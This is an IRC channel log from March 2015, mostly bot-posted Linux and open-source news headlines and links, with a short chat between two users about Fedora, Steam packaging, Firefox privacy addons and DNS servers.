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-TechrightsBot-tr/#techrights-www.linuxjournal.com | diff -u: What's New in Kernel Development | Linux JournalMar 13 17:16
TweetTuxMachines@tuxmachines     Algorithmia aims to be the open source appMar 13 17:16
TweetTuxMachines                 store for algorithms and APIsMar 13 17:16
TweetTuxMachines                 http://t.co/x6hDgeSYvq (www.tuxmachines.org)Mar 13 17:16
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Algorithmia aims to be the open source app store for algorithms and APIs | Tux MachinesMar 13 17:16
MinceRhttp://www.digitalmunition.me/2015/03/apple-admits-siri-voice-data-is-being-shared-with-third-parties/Mar 13 17:24
-TechrightsBot-tr/#techrights-www.digitalmunition.me | Apple Admits Siri Voice Data is Being shared with Third Parties - DigitalMunition [ http://ur1.ca/jwic5 ]Mar 13 17:24
TweetTuxMachines@tuxmachines     Mozilla Releases Open Source Masche ForensicsMar 13 17:24
TweetTuxMachines                 Tool http://t.co/mufCYpyaCgMar 13 17:24
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Mozilla Releases Open Source Masche Forensics Tool | Tux MachinesMar 13 17:25
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schestowitzhttps://joindiaspora.com/p/5753168Mar 13 17:49
-TechrightsBot-tr/#techrights-joindiaspora.com | EFF Grabs Two Mor...Mar 13 17:49
schestowitzhttps://joindiaspora.com/posts/5753168Mar 13 17:49
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: EFF Grabs Two More Docs From The NSA, Detailing Expanded Post-9/11 Surveillance Powers And Section 702 Justifications https://www.techdirt.com/articles/20150303/09253030197/eff-grabs-two-more-docs-nsa-detailing-expanded-post-911-surveillance-powers-section-702-justifications.shtmlMar 13 17:50
-TechrightsBot-tr/#techrights--> www.techdirt.com | EFF Grabs Two More Docs From The NSA, Detailing Expanded Post-9/11 Surveillance Powers And Section 702 Justifications | Techdirt [ http://ur1.ca/jwii8 ]Mar 13 17:50
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TweetTuxMachines@tuxmachines     President Of Blizzard Responds To The LinuxMar 13 18:21
TweetTuxMachines                 Petition https://t.co/sufgG6YrE3Mar 13 18:21
TweetTuxMachines                 (www.gamingonlinux.com) https://t.co/71ImEWhB1eMar 13 18:21
TweetTuxMachines                 (www.change.org)Mar 13 18:21
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-TechrightsBot-tr/#techrights-www.gamingonlinux.com | President Of Blizzard Responds To The Linux Petition, Petition Owner Creates Childish Response | GamingOnLinuxMar 13 18:21
-TechrightsBot-tr/#techrights-www.change.org | Petition · Please Release Native Linux Clients · Change.orgMar 13 18:21
TweetTuxMachines@tuxmachines     15 Must Have Ubuntu EnhancementsMar 13 18:21
TweetTuxMachines                 http://t.co/R0eEZMOHIT (www.datamation.com)Mar 13 18:21
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-TechrightsBot-tr/#techrights-www.datamation.com | 15 Must Have Ubuntu Enhancements - DatamationMar 13 18:21
TweetTuxMachines@tuxmachines     15 Must Have Ubuntu EnhancementsMar 13 18:21
TweetTuxMachines                 http://t.co/eSRntY0Zmj (www.tuxmachines.org)Mar 13 18:21
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TweetTuxMachines@tuxmachines     Setting ssh keys for Raspberry Pi's and BeagleMar 13 19:29
TweetTuxMachines                 Bones without keyboard and displayMar 13 19:29
TweetTuxMachines                 http://t.co/TLMrV51fHd (www.tuxmachines.org)Mar 13 19:29
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Setting ssh keys for Raspberry Pi's and Beagle Bones without keyboard and display | Tux MachinesMar 13 19:29
TweetTuxMachines@tuxmachines     Here’s what changed in Android 5.1 LollipopMar 13 19:29
TweetTuxMachines                 http://t.co/GYMXToHyl0 (www.tuxmachines.org)Mar 13 19:29
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Here’s what changed in Android 5.1 Lollipop | Tux MachinesMar 13 19:29
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TweetTuxMachines@tuxmachines     Sam Ramji Discusses Cloud Foundry and OpenMar 13 21:33
TweetTuxMachines                 Source Opportunities http://t.co/C5gbq60sVHMar 13 21:33
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 21:33
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*TweetTuxMachines @miniputing favourited 'Setting ssh keys for Raspberry Pi's and Beagle...'Mar 13 21:33
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Sam Ramji Discusses Cloud Foundry and Open Source Opportunities | Tux MachinesMar 13 21:33
TweetTuxMachines@tuxmachines     Arietta G25 – The latest Embedded Linux BoardMar 13 21:33
TweetTuxMachines                 http://t.co/VycGwADuGR (www.tuxmachines.org)Mar 13 21:33
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Arietta G25 – The latest Embedded Linux Board | Tux MachinesMar 13 21:33
TweetTuxMachines@tuxmachines     Why open source works http://t.co/7o3AKnvYFPMar 13 21:34
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 21:34
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Why open source works | Tux MachinesMar 13 21:34
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 13 21:34
TweetTuxMachines                 http://t.co/iz5W2k8W5i (www.tuxmachines.org)Mar 13 21:34
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | 5 best Linux distros for beginners and newbies | Tux MachinesMar 13 21:34
TweetTuxMachines@tuxmachines     The 7 types of Android fanboy (and fangirl):Mar 13 21:34
TweetTuxMachines                 The spotter's guide to the seven types ofMar 13 21:34
TweetTuxMachines                 Fandroid you will encou...Mar 13 21:34
TweetTuxMachines                 http://t.co/CWPTjyfQL3 (www.tuxmachines.org)Mar 13 21:34
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | The 7 types of Android fanboy (and fangirl): The spotter's guide to the seven types of Fandroid you will encounter on the internet | Tux MachinesMar 13 21:34
TweetTuxMachines@tuxmachines     Allwinner’s octa-core A80 SoC tightens its SBCMar 13 21:34
TweetTuxMachines                 grip http://t.co/T7dbmiLclOMar 13 21:34
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 21:34
TweetTuxMachines........................................  http://ur1.ca/jwk0xMar 13 21:34
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Allwinner’s octa-core A80 SoC tightens its SBC grip | Tux MachinesMar 13 21:34
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__martin__finallyMar 13 21:51
XRevan86__martin__: hmm?Mar 13 21:51
__martin__Linux octavia 4.0.0-0.rc3.git0.1.fc22.x86_64 #1 SMP Mon Mar 9 13:36:59 UTC 2015 x86_64 x86_64 x86_64 GNU/LinuxMar 13 21:52
__martin__(=Mar 13 21:52
__martin__also made a bargain hw upgrade, took for 10€ unused GTS 450 from friend tonight xDMar 13 21:52
__martin__(viable for wayland over igpu hd 4200)Mar 13 21:53
XRevan86__martin__: octavia? like vinyl?Mar 13 21:53
__martin__XRevan86: nope like Skoda car modelMar 13 21:53
XRevan86__martin__: okayMar 13 21:54
__martin__yay, rpmfusion's rawhide steam package is still only for fc21Mar 13 21:57
__martin__(cannot wait to try oddworld's new n' tasty old-school arcade remake =)Mar 13 21:57
XRevan86__martin__: If it is for rawhide, what's the problem?Mar 13 21:58
__martin__still contains an old package..Mar 13 21:58
XRevan86__martin__: steam is proprietary, I doubt it'll break because of old deps :)Mar 13 21:59
__martin__XRevan86: what browser addons you use by default?Mar 13 21:59
XRevan86__martin__: #1 is of course CTRMar 13 21:59
XRevan86Classic Theme RestorerMar 13 21:59
__martin__so I will force the package to install without key verificationMar 13 21:59
XRevan86http://mirror.yandex.ru/fedora/russianfedora/russianfedora/nonfree/fedora/development/rawhide/i386/os/ No Steam here, hehMar 13 21:59
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__martin__myself just https-everywher, privacy badger, noscript, server spy // and used to be YouTube ALL HTML5Mar 13 22:01
__martin__where*Mar 13 22:01
XRevan86__martin__: I'm not into privacy addonsMar 13 22:01
__martin__[for my need I cannot stick with LibreJS yet]Mar 13 22:01
XRevan86Only µBlock, BetterPrivacy and Self-Destructing CookiesMar 13 22:01
__martin__needs*Mar 13 22:01
__martin__oh yes and of course adblock edgeMar 13 22:01
XRevan86__martin__: Inferior µBlock alternative %).Mar 13 22:02
XRevan86what's the point of using it then?Mar 13 22:02
__martin__inferior? =DMar 13 22:02
XRevan86__martin__: Exactly.Mar 13 22:02
__martin__also this proprietary MEGA addon for downloading large files et alMar 13 22:03
XRevan86AdBlock Edge has same performance issues as AdBlock+Mar 13 22:03
XRevan86even a bit moreMar 13 22:03
XRevan86https://addons.mozilla.org/ru/firefox/addon/ublock/versionsMar 13 22:04
-TechrightsBot-tr/#techrights-addons.mozilla.org | µBlock :: Versions :: Дополнения Firefox [ http://ur1.ca/jwk6j ]Mar 13 22:04
XRevan86ouchMar 13 22:04
XRevan86https://addons.mozilla.org/addon/ublock/versionsMar 13 22:04
-TechrightsBot-tr/#techrights-addons.mozilla.org | µBlock :: Versions :: Add-ons for Firefox [ http://ur1.ca/jwk6m ]Mar 13 22:04
__martin__went with micro this timeMar 13 22:04
XRevan86it is still not reviewed so versions updates is a painMar 13 22:05
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__martin__https://hacks.mozilla.org/2015/02/webrtc-requires-perfect-forward-secrecy-pfs-starting-in-firefox-38/Mar 13 22:56
-TechrightsBot-tr/#techrights-hacks.mozilla.org | WebRTC requires Perfect Forward Secrecy (PFS) starting in Firefox 38 ✩ Mozilla Hacks – the Web developer blog [ http://ur1.ca/jwkgq ]Mar 13 22:56
__martin__XRevan86: what DNS servers you use as an ISP replacement?Mar 13 22:57
XRevan86__martin__: I use default providers.Mar 13 22:57
XRevan86Oh wait, I don't %)Mar 13 22:59
XRevan86I had issues with it so I've made 77.88.8.8 the default DNSMar 13 22:59
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TweetTuxMachines@tuxmachines     Rugged NUC mini-PCs run Linux on Broadwell andMar 14 00:11
TweetTuxMachines                 Bay Trail http://t.co/VJyKw58In8Mar 14 00:12
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 00:12
TweetTuxMachines........................................  http://ur1.ca/jwku0Mar 14 00:12
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Rugged NUC mini-PCs run Linux on Broadwell and Bay Trail | Tux MachinesMar 14 00:12
TweetTuxMachines@tuxmachines     New Ubuntu Phone Flash Sale Confirmed for MarchMar 14 00:12
TweetTuxMachines                 12 http://t.co/CO0ULsE7sk (www.tuxmachines.org)Mar 14 00:12
TweetTuxMachines........................................  http://ur1.ca/jwku1Mar 14 00:12
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TweetTuxMachines@tuxmachines     KDE Frameworks 5.8.0 Officially Released withMar 14 01:55
TweetTuxMachines                 Support for Qt 5.5 http://t.co/tUTYGO4P6aMar 14 01:55
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 01:55
TweetTuxMachines........................................  http://ur1.ca/jwlbcMar 14 01:55
-TechrightsBot-tr/#techrights-www.tuxmachines.org | KDE Frameworks 5.8.0 Officially Released with Support for Qt 5.5 | Tux MachinesMar 14 01:55
*TweetTuxMachines @algorithmia favourited 'Algorithmia aims to be the open source app...'Mar 14 01:55
TweetTuxMachines@tuxmachines     Here’s what changed in Android 5.1 LollipopMar 14 02:01
TweetTuxMachines                 http://t.co/QhTfVVMWSs (www.geek.com)Mar 14 02:01
TweetTuxMachines........................................  http://ur1.ca/jwlc9Mar 14 02:01
-TechrightsBot-tr/#techrights-www.geek.com | Here’s what changed in Android 5.1 Lollipop | Android | Geek.comMar 14 02:01
TweetTuxMachines@tuxmachines     Oracle Linux 7.1 Has Been Officially Released,Mar 14 02:02
TweetTuxMachines                 Brings Production Support for BtrfsMar 14 02:02
TweetTuxMachines                 http://t.co/wCywsscIMf (linux.softpedia.com)Mar 14 02:02
TweetTuxMachines........................................  http://ur1.ca/jwlcaMar 14 02:02
-TechrightsBot-tr/#techrights-linux.softpedia.com | Oracle Linux 7.1 Has Been Officially Released, Brings Production Support for Btrfs - SoftpediaMar 14 02:02
TweetTuxMachines@tuxmachines     Red Hat proving that open source communitiesMar 14 02:02
TweetTuxMachines                 are better for security http://t.co/9IPLl3HBjbMar 14 02:02
TweetTuxMachines                 (whatsyourtech.ca)Mar 14 02:02
TweetTuxMachines........................................  http://ur1.ca/jwlcbMar 14 02:02
-TechrightsBot-tr/#techrights-whatsyourtech.ca | Red Hat proving that open source communities are better for security | WYT - Canadian Tech News & Tech ReviewsMar 14 02:02
TweetTuxMachines@tuxmachines     7 Android and Linux Smartwatches to Take on theMar 14 02:03
TweetTuxMachines                 Apple Watch  http://t.co/nUeC2lEeoEMar 14 02:03
TweetTuxMachines                 (www.linux.com)Mar 14 02:03
TweetTuxMachines........................................  http://ur1.ca/jwlcjMar 14 02:03
-TechrightsBot-tr/#techrights-www.linux.com | 7 Android and Linux Smartwatches to Take on the Apple Watch | Linux.comMar 14 02:03
TweetTuxMachines@tuxmachines     Arietta G25 – The latest Embedded Linux BoardMar 14 02:03
TweetTuxMachines                 http://t.co/WghIWm54OCMar 14 02:03
TweetTuxMachines                 (www.open-electronics.org)Mar 14 02:03
TweetTuxMachines........................................  http://ur1.ca/jwlckMar 14 02:03
-TechrightsBot-tr/#techrights-www.open-electronics.org | Arietta G25 – The latest Embedded Linux Board | Open ElectronicsMar 14 02:03
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TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 14 04:47
TweetTuxMachines                 http://t.co/CcQh5mfLGn (www.cbronline.com)Mar 14 04:47
TweetTuxMachines........................................  http://ur1.ca/jwm55Mar 14 04:47
-TechrightsBot-tr/#techrights-www.cbronline.com | 5 best Linux distros for beginners and newbies - Computer Business ReviewMar 14 04:47
TweetTuxMachines@tuxmachines     Allwinner’s octa-core A80 SoC tightens its SBCMar 14 04:51
TweetTuxMachines                 grip http://t.co/2MEc49lS6t (linuxgizmos.com)Mar 14 04:51
TweetTuxMachines........................................  http://ur1.ca/jwm5tMar 14 04:51
-TechrightsBot-tr/#techrights-linuxgizmos.com | Allwinner's octa-core A80 SoC tightens its SBC grip ·  LinuxGizmos.comMar 14 04:51
TweetTuxMachines@tuxmachines     Rugged NUC mini-PCs run Linux on Broadwell andMar 14 04:51
TweetTuxMachines                 Bay Trail http://t.co/pjU5nlGEWbMar 14 04:51
TweetTuxMachines                 (linuxgizmos.com)Mar 14 04:51
TweetTuxMachines........................................  http://ur1.ca/jwm5uMar 14 04:51
-TechrightsBot-tr/#techrights-linuxgizmos.com | Rugged NUC mini-PCs run Linux on Broadwell and Bay Trail ·  LinuxGizmos.comMar 14 04:51
TweetTuxMachines@tuxmachines     New Ubuntu Phone Flash Sale Confirmed for MarchMar 14 04:51
TweetTuxMachines                 12 http://t.co/c3p5v2fiKD (news.softpedia.com)Mar 14 04:51
TweetTuxMachines........................................  http://ur1.ca/jwm5vMar 14 04:51
-TechrightsBot-tr/#techrights-news.softpedia.com | New Ubuntu Phone Flash Sale Confirmed for March 12 - SoftpediaMar 14 04:51
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TweetTuxMachines@tuxmachines     KDE Frameworks 5.8.0 Officially Released withMar 14 05:42
TweetTuxMachines                 Support for Qt 5.5 http://t.co/a5NsI5XSL5Mar 14 05:42
TweetTuxMachines                 (news.softpedia.com)Mar 14 05:42
-TechrightsBot-tr/#techrights-news.softpedia.com | KDE Frameworks 5.8.0 Officially Released with Support for Qt 5.5 - SoftpediaMar 14 05:42
TweetTuxMachines........................................  http://ur1.ca/jwmcyMar 14 05:42
TweetTuxMachines@tuxmachines     Chromebook Pixel, the Rolls-Royce ofMar 14 05:42
TweetTuxMachines                 Chromebooks, is getting a refreshMar 14 05:42
TweetTuxMachines                 http://t.co/R7JVqUereQ (www.zdnet.com)Mar 14 05:42
TweetTuxMachines........................................  http://ur1.ca/jwmczMar 14 05:42
-TechrightsBot-tr/#techrights-www.zdnet.com | ​Chromebook Pixel, the Rolls-Royce of Chromebooks, is getting a refresh | ZDNetMar 14 05:42
TweetTuxMachines@tuxmachines     German Greens ask Foreign Affairs to amend wayMar 14 05:42
TweetTuxMachines                 http://t.co/5hPou6BIo2 (www.tuxmachines.org)Mar 14 05:42
TweetTuxMachines........................................  http://ur1.ca/jwmd0Mar 14 05:42
-TechrightsBot-tr/#techrights-www.tuxmachines.org | German Greens ask Foreign Affairs to amend way | Tux MachinesMar 14 05:42
TweetTuxMachines@tuxmachines     Huawei unveils its first smartwatch, runningMar 14 05:56
TweetTuxMachines                 Android Wear, plus Bluetooth fitness bandMar 14 05:56
TweetTuxMachines                 http://t.co/oVaB8cw3co (www.zdnet.com)Mar 14 05:56
TweetTuxMachines........................................  http://ur1.ca/jwmf8Mar 14 05:56
-TechrightsBot-tr/#techrights-www.zdnet.com | Huawei unveils its first smartwatch, running Android Wear, plus Bluetooth fitness band | ZDNetMar 14 05:56
TweetTuxMachines@tuxmachines     How a Chinese smartwatch became the surpriseMar 14 05:56
TweetTuxMachines                 hit of Mobile World Congress Mar 14 05:56
TweetTuxMachines                 http://t.co/kxJQh4dKPw (www.theverge.com)Mar 14 05:56
TweetTuxMachines........................................  http://ur1.ca/jwmf9Mar 14 05:56
-TechrightsBot-tr/#techrights-www.theverge.com | How a Chinese smartwatch became the surprise hit of Mobile World Congress | The VergeMar 14 05:56
TweetTuxMachines@tuxmachines     Raspberry Pi 2: Raspbian (ARMv6) v LinaroMar 14 05:56
TweetTuxMachines                 (ARMv7) - Benchmarking http://t.co/nhtaYIFeYpMar 14 05:56
TweetTuxMachines                 (www.linuxlinks.com)Mar 14 05:56
TweetTuxMachines........................................  http://ur1.ca/jwmfaMar 14 05:56
-TechrightsBot-tr/#techrights-www.linuxlinks.com | Raspberry Pi 2: Raspbian (ARMv6) v Linaro (ARMv7) - Benchmarking - Linux Links - The Linux Portal SiteMar 14 05:56
TweetTuxMachines@tuxmachines     Apache HTTP Server Vulnerabilities Closed inMar 14 06:05
TweetTuxMachines                 All Supported Ubuntu SystemsMar 14 06:05
TweetTuxMachines                 http://t.co/YG3EZZdSc9 (linux.softpedia.com)Mar 14 06:05
TweetTuxMachines........................................  http://ur1.ca/jwmgrMar 14 06:05
-TechrightsBot-tr/#techrights-linux.softpedia.com | Apache HTTP Server Vulnerabilities Closed in All Supported Ubuntu Systems - SoftpediaMar 14 06:05
TweetTuxMachines@tuxmachines     Ubuntu OSes Patched Against eCryptfsMar 14 06:05
TweetTuxMachines                 Vulnerability http://t.co/hX7klSXi9EMar 14 06:05
TweetTuxMachines                 (linux.softpedia.com)Mar 14 06:05
-TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu OSes Patched Against eCryptfs Vulnerability - SoftpediaMar 14 06:05
TweetTuxMachines........................................  http://ur1.ca/jwmgsMar 14 06:05
TweetTuxMachines@tuxmachines     Linux Kernel 3.18.9 Is Now an LTS (Long-TermMar 14 06:05
TweetTuxMachines                 Support) Release http://t.co/lUK3gQkKt6Mar 14 06:05
TweetTuxMachines                 (news.softpedia.com)Mar 14 06:05
-TechrightsBot-tr/#techrights-news.softpedia.com | Linux Kernel 3.18.9 Is Now an LTS (Long-Term Support) Release - SoftpediaMar 14 06:05
TweetTuxMachines........................................  http://ur1.ca/jwmgtMar 14 06:05
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TweetTuxMachines@tuxmachines     Linux Journey stories http://t.co/QWeD0kmcg1Mar 14 06:19
TweetTuxMachines                 (www.tecmint.com) http://t.co/XCwxDFEwc5Mar 14 06:19
TweetTuxMachines                 (www.tecmint.com) http://t.co/9eGBvvEm9jMar 14 06:19
TweetTuxMachines                 (www.tecmint.com) http://t.co/SHmgsSJFzBMar 14 06:19
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #5: Linux Journey of Mr. Stuart J MackintoshMar 14 06:19
TweetTuxMachines                 (www.tecmint.com) http://t.co/3PBitg38SwMar 14 06:19
TweetTuxMachines                 (www.tecmint.com)Mar 14 06:19
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #4: Linux Journey of Mr. Berkley StarksMar 14 06:19
TweetTuxMachines........................................  http://ur1.ca/jwmj5Mar 14 06:19
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #3: Linux Journey of Mr. Ahmad AdnanMar 14 06:19
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #2: Dr. S P Bhatnagar's Linux JourneyMar 14 06:19
-TechrightsBot-tr/#techrights-www.tecmint.com | My Story #1: Usman Malik's Linux Journey So FarMar 14 06:19
TweetTuxMachines@tuxmachines     Huawei unveils its first smartwatch, runningMar 14 06:19
TweetTuxMachines                 Android Wear, plus Bluetooth fitness bandMar 14 06:19
TweetTuxMachines                 http://t.co/xHuDLyBkkD (www.tuxmachines.org)Mar 14 06:19
TweetTuxMachines........................................  http://ur1.ca/jwmj6Mar 14 06:19
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Huawei unveils its first smartwatch, running Android Wear, plus Bluetooth fitness band | Tux MachinesMar 14 06:19
TweetTuxMachines@tuxmachines     Raspberry Pi 2: Raspbian (ARMv6) v LinaroMar 14 06:20
TweetTuxMachines                 (ARMv7) - Benchmarking http://t.co/KxFaaPx7FcMar 14 06:20
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 06:20
TweetTuxMachines........................................  http://ur1.ca/jwmj7Mar 14 06:20
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Raspberry Pi 2: Raspbian (ARMv6) v Linaro (ARMv7) - Benchmarking | Tux MachinesMar 14 06:20
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-TechrightsBot-tr/#techrights-www.zdnet.com | Google Apps flaw exposes WHOIS data for 280,000 domains | ZDNet [ http://ur1.ca/jwmo1 ]Mar 14 06:57
TweetTuxMachines@tuxmachines     Linux Kernel 3.18.9 Is Now an LTS (Long-TermMar 14 07:01
TweetTuxMachines                 Support) Release http://t.co/fSRXDmKvOPMar 14 07:01
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 07:01
TweetTuxMachines........................................  http://ur1.ca/jwmolMar 14 07:01
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Kernel 3.18.9 Is Now an LTS (Long-Term Support) Release | Tux MachinesMar 14 07:01
TweetTuxMachines@tuxmachines     Personal Linux Stories and Best Distros forMar 14 07:01
TweetTuxMachines                 Newbies http://t.co/B8CdVnSMJBMar 14 07:01
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 07:01
TweetTuxMachines........................................  http://ur1.ca/jwmomMar 14 07:01
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Personal Linux Stories and Best Distros for Newbies | Tux MachinesMar 14 07:01
TweetTuxMachines@tuxmachines     New Joomla release warrants second look for CMSMar 14 07:01
TweetTuxMachines                 deployments http://t.co/BCHqLqRwXoMar 14 07:01
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 07:01
TweetTuxMachines........................................  http://ur1.ca/jwmonMar 14 07:01
-TechrightsBot-tr/#techrights-www.tuxmachines.org | New Joomla release warrants second look for CMS deployments | Tux MachinesMar 14 07:01
TweetTuxMachines@tuxmachines     Raspberry Pi 2 review - the Pi you didn't knowMar 14 07:15
TweetTuxMachines                 you wanted http://t.co/C2vmxWl7wUMar 14 07:15
TweetTuxMachines                 (www.pcpro.co.uk)Mar 14 07:15
TweetTuxMachines........................................  http://ur1.ca/jwmqyMar 14 07:15
-TechrightsBot-tr/#techrights-www.pcpro.co.uk | Raspberry Pi 2 review - the Pi you didn't know you wanted | PC ProMar 14 07:15
TweetTuxMachines@tuxmachines     Raspberry Pi celebrates hugely successful 3Mar 14 07:15
TweetTuxMachines                 years http://t.co/NgvbaDrvzMMar 14 07:15
TweetTuxMachines                 (www.itproportal.com) "super-affordable ARMMar 14 07:15
TweetTuxMachines                 GNU/Linux computer"Mar 14 07:15
-TechrightsBot-tr/#techrights-www.itproportal.com | Raspberry Pi celebrates hugely successful 3 years | ITProPortal.comMar 14 07:15
TweetTuxMachines........................................  http://ur1.ca/jwmqzMar 14 07:15
*TweetTuxMachines @gagalago favourited 'Raspberry Pi celebrates hugely successful 3 years http://t.co/NgvbaDrvzM...'Mar 14 07:41
TweetTuxMachines@tuxmachines     Can We Really Trust Linux? Mar 14 07:41
TweetTuxMachines                 http://t.co/SYZEf4HzbU (www.makeuseof.com)Mar 14 07:41
TweetTuxMachines........................................  http://ur1.ca/jwmutMar 14 07:41
-TechrightsBot-tr/#techrights-www.makeuseof.com | Can We Really Trust Linux?Mar 14 07:41
TweetTuxMachines@tuxmachines     First impressions of Korora 21Mar 14 07:41
TweetTuxMachines                 http://t.co/bpZwk4cLTX (distrowatch.com)Mar 14 07:41
TweetTuxMachines........................................  http://ur1.ca/jwmuvMar 14 07:41
-TechrightsBot-tr/#techrights-distrowatch.com | DistroWatch.com: Put the fun back into computing. Use Linux, BSD.Mar 14 07:41
TweetTuxMachines@tuxmachines     First look at Sabayon 15.02Mar 14 07:41
TweetTuxMachines                 http://t.co/ujqqd2fza4 (distrowatch.com)Mar 14 07:41
TweetTuxMachines........................................  http://ur1.ca/jwmuwMar 14 07:41
-TechrightsBot-tr/#techrights-distrowatch.com | DistroWatch.com: Put the fun back into computing. Use Linux, BSD.Mar 14 07:41
TweetTuxMachines@tuxmachines     MK80 Linux Edition is an octa-core Ubuntu miniMar 14 07:43
TweetTuxMachines                 PC http://t.co/QpTeQI6mlp (liliputing.com)Mar 14 07:43
TweetTuxMachines........................................  http://ur1.ca/jwmv1Mar 14 07:43
-TechrightsBot-tr/#techrights-liliputing.com | MK80 Linux Edition is an octa-core Ubuntu mini PC - LiliputingMar 14 07:43
TweetTuxMachines@tuxmachines     Ubuntu finally comes to phones, but don'tMar 14 07:44
TweetTuxMachines                 expect major retail sales push for at least 12Mar 14 07:44
TweetTuxMachines                 months  http://t.co/eifADNwjuEMar 14 07:44
TweetTuxMachines                 (www.fiercewireless.com)Mar 14 07:44
TweetTuxMachines........................................  http://ur1.ca/jwmv2Mar 14 07:44
-TechrightsBot-tr/#techrights-www.fiercewireless.com | Ubuntu finally comes to phones, but don't expect major retail sales push for at least 12 months - FierceWirelessMar 14 07:44
TweetTuxMachines@8a62f227420e4df  ➡http://t.co/W9182SfFjo (www.linkedin.com) ⬅Mar 14 07:45
TweetTuxMachines                 @dallasinmybedMar 14 07:45
-TechrightsBot-tr/#techrights-www.linkedin.com | NO TITLEMar 14 07:45
TweetTuxMachines                 @tuxmachinesMar 14 07:45
TweetTuxMachines                 @citytwarblerMar 14 07:45
TweetTuxMachines                 @hanifrazitqMar 14 07:45
TweetTuxMachines                 @DeannaDeanna14Mar 14 07:45
TweetTuxMachines                 @HoesGetNo_LoveMar 14 07:45
TweetTuxMachines                 @schestowitzMar 14 07:45
TweetTuxMachines........................................  http://ur1.ca/jwmvaMar 14 07:45
TweetTuxMachines@tuxmachines     Can We Really Trust Linux?Mar 14 07:45
TweetTuxMachines                 http://t.co/JtrBIWt13n (www.tuxmachines.org)Mar 14 07:45
TweetTuxMachines........................................  http://ur1.ca/jwmvcMar 14 07:45
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Can We Really Trust Linux? | Tux MachinesMar 14 07:45
TweetTuxMachines@tuxmachines     First impressions of Korora 21Mar 14 07:46
TweetTuxMachines                 http://t.co/30TDDs4GPJ (www.tuxmachines.org)Mar 14 07:46
TweetTuxMachines........................................  http://ur1.ca/jwmvdMar 14 07:46
-TechrightsBot-tr/#techrights-www.tuxmachines.org | First impressions of Korora 21 | Tux MachinesMar 14 07:46
TweetTuxMachines@tuxmachines     First look at Sabayon 15.02Mar 14 07:46
TweetTuxMachines                 http://t.co/Lp0k1KQ6wk (www.tuxmachines.org)Mar 14 07:46
TweetTuxMachines........................................  http://ur1.ca/jwmveMar 14 07:46
-TechrightsBot-tr/#techrights-www.tuxmachines.org | First look at Sabayon 15.02 | Tux MachinesMar 14 07:46
TweetTuxMachines@tuxmachines     MK80 Linux Edition is an octa-core Ubuntu miniMar 14 07:47
TweetTuxMachines                 PC http://t.co/XG9eXZAC2a (www.tuxmachines.org)Mar 14 07:47
TweetTuxMachines........................................  http://ur1.ca/jwmvmMar 14 07:47
-TechrightsBot-tr/#techrights-www.tuxmachines.org | MK80 Linux Edition is an octa-core Ubuntu mini PC | Tux MachinesMar 14 07:47
TweetTuxMachines@tuxmachines     Ubuntu finally comes to phones, but don'tMar 14 07:47
TweetTuxMachines                 expect major retail sales push for at least 12Mar 14 07:47
TweetTuxMachines                 months http://t.co/0bfWh72taAMar 14 07:47
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 07:47
TweetTuxMachines........................................  http://ur1.ca/jwmvoMar 14 07:47
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu finally comes to phones, but don't expect major retail sales push for at least 12 months | Tux MachinesMar 14 07:47
TweetTuxMachines@tuxmachines     LXLE Linux 14.04.1 review - Champagne withoutMar 14 07:47
TweetTuxMachines                 bubbles http://t.co/YLhETILzfqMar 14 07:47
TweetTuxMachines                 (www.dedoimedo.com)Mar 14 07:47
-TechrightsBot-tr/#techrights-www.dedoimedo.com | LXLE Linux 14.04.1 review - Champagne without bubblesMar 14 07:47
TweetTuxMachines........................................  http://ur1.ca/jwmvpMar 14 07:47
TweetTuxMachines@tuxmachines     Plasma is my new favorite desktopMar 14 08:00
TweetTuxMachines                 http://t.co/g6hra1Kmyv (www.ocsmag.com)Mar 14 08:00
TweetTuxMachines........................................  http://ur1.ca/jwmxoMar 14 08:00
-TechrightsBot-tr/#techrights-www.ocsmag.com | Plasma is my new favorite desktop | OCS-MagMar 14 08:00
TweetTuxMachines@tuxmachines     How to Use KDE Plasma Desktop Like a ProMar 14 08:00
TweetTuxMachines                 http://t.co/aQZnOzaHtd (www.linux.com)Mar 14 08:00
TweetTuxMachines........................................  http://ur1.ca/jwmxqMar 14 08:00
-TechrightsBot-tr/#techrights-www.linux.com | How to Use KDE Plasma Desktop Like a Pro | Linux.comMar 14 08:00
TweetTuxMachines@tuxmachines     Hands-on with the Ubuntu MX4, a better class ofMar 14 08:00
TweetTuxMachines                 phone http://t.co/8n17bJqafz (www.htxt.co.za)Mar 14 08:00
TweetTuxMachines........................................  http://ur1.ca/jwmxrMar 14 08:00
-TechrightsBot-tr/#techrights-www.htxt.co.za | [MWC2015] Hands-on with the Ubuntu MX4, a better class of phone - htxt.africaMar 14 08:00
